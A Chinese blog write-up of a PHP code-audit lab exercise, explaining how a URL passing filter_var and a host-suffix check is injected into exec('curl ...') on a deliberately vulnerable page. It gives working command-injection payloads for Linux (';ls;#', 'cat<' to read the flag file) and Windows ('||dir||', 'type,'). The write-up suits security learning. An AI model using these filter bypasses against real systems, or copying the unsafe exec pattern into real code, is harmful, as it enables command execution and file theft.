代码审计——filter_var函数

Posted negnegil

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计——filter_var函数相关的知识,希望对你有一定的参考价值。

红日安全代码审计——day2

原项目地址:
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md

本文是对day2课后习题的解题及学习

// index.php
<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-redclub.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>
// f1agi3hEre.php
<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

在这里插入图片描述

源码分析

分析源码,看到exec函数处就知道是让我们构造一个代码执行,读取f1agi3hEre.php中的falg。
通过GET方式传入url,要能通过第一个if判断,这里filter_var的过滤器FILTER_VALIDATE_URL的过滤规则为:把值作为URL来验证且默认模式下必须带有http://、ssh://等协议。接着向下,parse_url将我们传入的url进行分割,对主机名进行第二个if判断,判断主机名的尾部是否是sec-redclub.com,判断正确即可执行下面的命令执行语句:exec('curl "'.$site_info['host'].'"', $result); 。

这里想要通过第一个判断,url中必须包含
http://等协议和sec-redclub.com
这让我想到了url重定向和cors的绕过方式

backurl=http://example.com@sec-redclub.com   //url重定向

那就先试试这种方式行不行
在这里插入图片描述
发现这种方式是可行的,也能通过第二个判断,而要想读取flag还要回到命令执行的源码之中去

exec('curl "'.$site_info['host'].'"', $result);

我们希望构造的语句为

exec('curl "'.http://+待执行的命令+sec-redclub.com .'"',$result);

linux下的利用

这里我并没有分析出利用方式,但看了红日团队的解题知道了思路:
和sql注入的拼凑方式相似,这里我们可以通过使用多命令执行符让其执行多个命令,红日团队给出的利用方式为:

url=demo://";ls;#;sec-redclub.com:80/

注意:这里使用demo://替换http://的原因为http://中加入特殊符号无法通过filter_var的过滤
继续,拼接进原代码中为:

exec('curl "demo://"; ls ; # ;sec-redclub.com:80/'

同时执行多个命令,即使前面一个和最后一个执行不成功也没关系,只要我们想要的 ls 执行成功了就行
与此相似,将 ls 改成 cat f1agi3hEre.php 即可读取flag
但这里cat后的空格无法通过filter_var的检测,所以改成cat<f1agi3hEre.php即可读取flag
在这里插入图片描述
红日团队构造的语句为:

url=demo://";ls;%23;sec-redclub.com:80/
url=demo://";cat<f1agi3hEre.php;%23;sec-redclub.com:80/

windows下的利用

但是!

在我的环境中执行后确实这样的
在这里插入图片描述

这样的
在这里插入图片描述

想了好长时间,和官方给的解题对比了好几遍都没有发现问题
后来猛然想起来我他喵的是用windows搭的环境,而红日团队用的是linux。。。
修改成windows的命令,多行命令连接符也要修改,就变成了如下这样

url=demo://"||dir||"sec-redclub.com:80/

拼接到源码中就是:

curl"demo://"||dir||"sec-redclub.com:80/

解释:当curl"demo://"执行失败时执行dir,若dir执行失败则执行后面的
成功读取到目录下的文件
读取flag:

url=demo://"||type,f1agi3hEre.php||"sec-redclub.com:80/

这里使用逗号代替空格,原因是空格无法通过filter_var的过滤
在这里插入图片描述

成功

以上是关于代码审计——filter_var函数的主要内容,如果未能解决你的问题,请参考以下文章

添加filter_var后,PHP代码在SQL表中插入空值

PHP代码审计1-审计环境与调试函数

php代码审计4审计代码执行漏洞

为啥 PHP filter_var 说这是一个有效的电子邮件地址?

PHP filter_var() 函数

代码审计学习01-in_array() 函数缺陷